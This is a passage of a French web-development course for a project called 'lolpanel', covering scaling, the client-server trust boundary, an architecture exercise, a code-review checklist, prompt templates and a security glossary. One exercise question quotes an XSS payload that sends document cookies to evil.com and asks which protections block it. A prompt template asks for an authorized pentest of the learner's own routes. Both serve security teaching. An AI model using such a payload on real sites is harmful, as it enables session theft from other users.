- **Scaling vertical** (plus gros serveur) contre **horizontal** (plus de serveurs). Pour scaler horizontalement, l'app doit être *stateless* : l'état vit dans la base, Redis ou le storage, jamais en mémoire du serveur.
- **Load balancer**, **CDN**, réplicas de lecture PostgreSQL, partitionnement des grosses tables.
- **Temps réel** : polling, Server-Sent Events, WebSockets. Collaboration multi-utilisateurs dans l'éditeur avec des CRDT (Yjs) et un service dédié (Liveblocks, PartyKit, ou un serveur WebSocket sur Railway).
- **Architecture événementielle** : publier des événements (`project.exported`) que d'autres modules consomment. Pattern *outbox* pour ne jamais perdre un événement.
- **Théorème CAP** et cohérence à terme : savoir quelles données doivent être exactes tout de suite (permissions) et lesquelles peuvent avoir un peu de retard (compteurs, stats).
- **Multi-tenant** : workspaces ou équipes, isolation des données par `workspaceId` dans chaque requête (ou RLS).
- **Paiements** : Stripe Checkout + webhooks comme source de vérité de l'abonnement, jamais le retour navigateur.
- **Documents d'architecture** : diagrammes C4 (contexte, conteneurs, composants), ADR (Architecture Decision Records : une page par décision importante, avec le contexte, les options et le choix).
- **Estimation de capacité** : combien d'utilisateurs, de requêtes par seconde, de Go par mois ? Calculer avant de choisir.

Utiliser l'IA sans dette

- Utilise l'IA comme sparring partner d'architecture : « Voici mon diagramme et mes chiffres. Où est le point de rupture à 100 000 utilisateurs ? »
- Fais rédiger les ADR à partir de tes décisions, mais c'est toi qui décides.

Fil rouge lolpanel (projet final)

- ☐ Workspaces d'équipe (multi-tenant) avec rôles.
- ☐ Collaboration temps réel dans l'éditeur (Yjs) avec présence des curseurs.
- ☐ Abonnements Stripe (gratuit/pro) qui pilotent les quotas d'API et d'exports.
- ☐ SDK npm ou CLI `lolpanel export` qui consomme ton API publique.
- ☐ Dossier d'architecture : diagramme C4, 5 ADR, estimation de capacité, plan de reprise après incident.
- ☐ **Défense finale** : présenter l'architecture complète en 15 minutes et répondre aux questions d'un examinateur (humain ou IA en mode « CTO exigeant »).

Feuille de route lolpanel v2

Semaines	Module	Jalon livrable
1-2	0	lolpanel en TS strict, `CLAUDE.md`, outillage qualité
3-6	1	Restructuration App Router, éditeur Zustand, preview sandbox, Lighthouse > 90
7-8	3 (partie 1)	Schéma Prisma + PostgreSQL en local via Docker, projets sauvegardés en base
9-13	2	Auth, permissions, partage, versions, API publique v1, jobs d'export
14-15	3 (partie 2)	Index, verrouillage optimiste, cache Redis, uploads S3/R2
16-19	4	CI/CD, worker sur Railway, sécurité OWASP, monitoring, sauvegardes
20-24	5	Workspaces, temps réel, Stripe, SDK/CLI, dossier d'architecture
25+	Bonus	Lancer publiquement, observer les vrais utilisateurs, itérer

Pourquoi la base de données avant le back-end complet ? Parce qu'on ne peut pas concevoir des routes sans savoir quelles données elles manipulent. Le schéma est le squelette de l'application.

Cours n°1 : La frontière de confiance

Le concept le plus important de toute la formation. Tout le reste en découle.

1. Deux mondes

Une application web, c'est deux mondes séparés par un réseau :

Le client (navigateur)	Le serveur
Appartient à l'utilisateur. Il peut tout lire, tout modifier : le JS, les requêtes, les cookies non-`HttpOnly`, les variables `NEXT_PUBLIC_*`.	T'appartient. C'est le seul endroit où tu peux garder des secrets et prendre des décisions fiables.
Rôle : **afficher et proposer**.	Rôle : **vérifier et décider**.

> **La règle d'or :** tout ce qui arrive du client est une *proposition*, jamais un *fait*. « Je suis l'utilisateur 42 », « ce projet m'appartient », « je suis en plan Pro », « ce JSON est valide » : le serveur doit tout revérifier.

2. Le cycle de vie d'une requête (exemple : sauvegarder un projet)

```
[Navigateur]  clic « Sauvegarder »
     │  POST /api/projects/abc/save   Cookie: session=7f3a…   Body: { tree, version: 12 }
     ▼
[CDN / Edge]  HTTPS terminé, protection DDoS, (pas de cache : c'est un POST)
     ▼
[Middleware]  request ID · rate limit (60 req/min/user) · session présente ?
     ▼
[Route]       1. Session valide en base ?           sinon → 401
              2. Body valide selon Zod ?             sinon → 422
     ▼
[Service]     3. L'utilisateur est owner/editor ?    sinon → 404 (on ne révèle rien)
              4. version == version en base ?        sinon → 409 conflit
              5. Transaction : update projet + snapshot de version
     ▼
[PostgreSQL]  contraintes, FK, index → commit
     ▼
[Réponse]     200 { version: 13 }  →  le client met à jour son état
```

Remarque : **chaque flèche est un endroit où quelque chose peut échouer**. Le réseau peut couper (le client doit pouvoir réessayer), la base peut être lente (timeout), l'utilisateur peut être malveillant (étapes 1 à 4). Un architecte pense à chaque flèche.

3. Les trois questions de la frontière

1. **Authentification** : qui fait la requête ? → la session, vérifiée côté serveur.
2. **Validation** : est-ce que la forme des données est correcte ? → Zod.
3. **Autorisation** : cette personne a-t-elle le droit de faire cette action sur *cette* ressource ? → le service, avec une requête qui filtre par propriétaire.

Ces trois vérifications ont lieu **sur le serveur, à chaque requête**, quel que soit le point d'entrée : route API, Server Action, webhook, job. Si tu oublies une seule des trois sur un seul point d'entrée, tu as une

faille.

4. Où placer la logique : la règle de décision

Question	Si oui
Ça touche à la sécurité, à l'argent, aux permissions ou à la vérité des données ?	Serveur, obligatoirement.
Ça a besoin d'un secret (clé API, base) ?	Serveur.
Ça dure plus de quelques secondes ?	Job en arrière-plan.
Ça réagit à chaque frappe ou mouvement de souris ?	Client.
C'est de l'affichage de données ?	Server Component par défaut.

Pour lolpanel, la conversion de code peut tourner côté client pour l'aperçu instantané (c'est du confort), mais l'export officiel via l'API se fait côté serveur, parce que c'est là que tu contrôles les quotas, les droits et la version du code généré.

5. À retenir

- Le client propose, le serveur décide.
- Chaque point d'entrée vérifie : authentification, validation, autorisation.
- Un 404 vaut mieux qu'un 403 quand l'utilisateur n'a pas à savoir que la ressource existe.
- Chaque flèche d'un diagramme peut échouer. Prévois le cas d'échec.

Exercice d'architecture n°1

Concevoir lolpanel v2 sur papier, sans écrire une ligne de code et sans IA. Durée : 2 à 4 heures.

Contexte : lolpanel v2 doit permettre à des utilisateurs connectés de créer des projets d'UI, de les sauvegarder, de garder un historique de versions, de les partager avec d'autres personnes (rôles `owner` / `editor` / `viewer`) et d'exporter le code via une API publique avec des clés API.

Partie A : Le modèle de données

1. Liste toutes les entités nécessaires et, pour chacune, ses champs avec leur type.
2. Dessine les relations (1-N, N-N) entre les entités. Indique les clés étrangères et le comportement `ON DELETE` de chacune.
3. Liste les contraintes `UNIQUE` nécessaires. Indice : un même utilisateur peut-il être deux fois membre du même projet ?
4. Où stockes-tu l'arbre de composants d'un projet ? Justifie (colonne JSONB, table séparée, fichier S3 ?).
5. Comment stockes-tu une clé API pour que, même si ta base fuite, les clés restent inutilisables ?

Partie B : Le contrat d'API

Remplis ce tableau pour au moins 8 routes :

Méthode + chemin	Qui peut appeler	Entrée (Zod)	Réponse OK	Codes d'erreur possibles
`POST /api/projects`	Utilisateur connecté	`{ name: string(1..80) }`	201 + projet	401, 422, 429
…	…	…	…	…

Pense à : liste des projets, lecture, sauvegarde, suppression, invitation d'un membre, liste des versions, restauration d'une version, création et révocation d'une clé API, export public.

Partie C : Les questions d'architecte

1. Un `viewer` envoie à la main un `POST /api/projects/abc/save` avec `curl`. Décris exactement à quelle étape il est bloqué et avec quel code.
2. Deux éditeurs sauvegardent le même projet à 1 seconde d'écart. Que se passe-t-il avec ton design ? Comment l'éviter ?
3. Un export ZIP prend 40 secondes. Pourquoi ne peut-il pas tourner directement dans la route API sur Vercel ? Dessine le flux alternatif.
4. Un utilisateur colle du code contenant `<script>fetch('https://evil.com?c='+document.cookie)</script>` dans un composant, puis partage le projet. Qu'est-ce qui empêche le vol de session des autres membres ? Cite au moins deux protections.
5. Le propriétaire supprime son compte. Que deviennent ses projets, les projets partagés avec lui, ses clés API, ses jobs d'export en cours ?
6. Quelles pages sont en SSG, en SSR, en CSR ? Justifie chaque choix.

Partie D : Le livrable

☐ Un diagramme entité-relation (papier, Excalidraw ou dbdiagram.io).
☐ Le tableau des routes complet.
☐ Les réponses écrites aux 6 questions.
☐ Un ADR d'une page : « Pourquoi des sessions en base plutôt que des JWT pour lolpanel ».

> **Ensuite :** envoie-moi ton livrable. Je le corrige comme un CTO le ferait sur une vraie revue d'architecture : failles, oublis, choix discutables. Une fois validé, ce design devient le contrat que tu donneras à l'IA pour générer le schéma Prisma, les schémas Zod et les routes. C'est le passage concret de « vibecoder » à « architecte qui pilote l'IA ».

Indices si tu bloques (à lire seulement après 30 minutes de recherche) : entités probables `User`, `Session`, `Account` (OAuth), `Project`, `ProjectMember`, `ProjectVersion`, `ApiKey`, `ExportJob`. Pour la question 2, cherche « optimistic locking ». Pour la question 4, relis la partie sécurité client du Module 1.

Annexes

A. Checklist « avant de merger » (à chaque PR)

- ☐ Je peux expliquer chaque ligne du diff.
- ☐ Toutes les entrées externes sont validées par Zod.
- ☐ Chaque route ou Server Action vérifie authentification + autorisation.
- ☐ Aucune requête ne charge des données sans filtrer par propriétaire ou workspace.
- ☐ Aucun secret dans le code ni dans une variable `NEXT_PUBLIC_*`.
- ☐ Pas de `any`, pas de `try/catch` vide, pas de dépendance ajoutée sans raison.
- ☐ Les tests couvrent le cas OK et au moins deux cas d'échec.
- ☐ Les migrations ont été relues et sont réversibles ou sans perte.
- ☐ La CI est verte.

B. Prompts types

Mode prof

```
Tu es mon professeur. Explique-moi [concept] avec un exemple tiré de lolpanel.
Ne me donne pas de code. Termine par 3 questions pour vérifier que j'ai compris.
```

Mode critique d'architecture

```
Voici mon schéma de données et mon tableau de routes. Agis comme un CTO exigeant.
Trouve : failles de sécurité, problèmes de performance à 100k utilisateurs,
cas limites oubliés, incohérences. Classe-les par gravité. Ne propose pas de code.
```

Mode attaquant

```
Tu es un pentesteur autorisé sur mon propre projet. Voici [route + service].
Liste toutes les façons de l'abuser (IDOR, mass assignment, injection, race
condition, contournement du rate limit) et le test qui prouverait chaque faille.
```

Mode refactor sans dette

```
Refactore [fichier] en respectant CLAUDE.md. Contraintes : comportement identique,
tests existants verts, aucun nouveau paquet. Montre d'abord le plan, puis le diff.
```

C. Ressources officielles (les meilleures, gratuites)

Sujet	Ressource
Web, HTTP, navigateur	MDN Web Docs (developer.mozilla.org)
TypeScript	TypeScript Handbook (typescriptlang.org/docs)
React	react.dev (la doc officielle, section « Learn »)
Next.js	nextjs.org/docs + le cours nextjs.org/learn
PostgreSQL / SQL	Documentation PostgreSQL, « Use The Index, Luke! » (use-the-index-luke.com)
Prisma	prisma.io/docs
Sécurité	OWASP Top 10 et OWASP Cheat Sheet Series (cheatsheetseries.owasp.org)
Authentification	The Copenhagen Book (thecopenhagenbook.com), docs Auth.js / Better Auth
Docker	docs.docker.com (« Get started »)
CI/CD	docs.github.com/actions
Architecture	« Designing Data-Intensive Applications » (M. Kleppmann), c4model.com, The Twelve-Factor App (12factor.net)
Performance	web.dev (Core Web Vitals)

D. Le glossaire express

ACID : garanties d'une transaction (atomique, cohérente, isolée, durable).
ADR : document court qui trace une décision d'architecture.
CDN : réseau de serveurs qui sert le contenu au plus près de l'utilisateur.
CSP : en-tête qui limite les sources de scripts autorisées.
CSRF : requête forgée depuis un autre site avec les cookies de la victime.
Hydratation : React rend interactif un HTML rendu côté serveur.
IDOR : accès à la ressource d'autrui en changeant un identifiant.
Idempotent : répéter l'opération ne change pas le résultat.
N+1 : une requête par élément d'une liste au lieu d'une seule.
PKCE : protection du flow OAuth contre le vol du code d'autorisation.
RLS : règles de sécurité appliquées ligne par ligne dans PostgreSQL.
SSRF : forcer le serveur à appeler une URL interne.
Stateless : le serveur ne garde rien en mémoire entre deux requêtes.
XSS : injection de JavaScript exécuté chez d'autres utilisateurs.

> **Dernier conseil :** la vitesse du vibecoding est ton avantage. La compréhension est ce qui le rend durable. Chaque fois que l'IA écrit quelque chose que tu ne comprends pas, arrête-toi et apprends-le. C'est exactement ce qui sépare quelqu'un qui assemble des apps de quelqu'un qui les conçoit.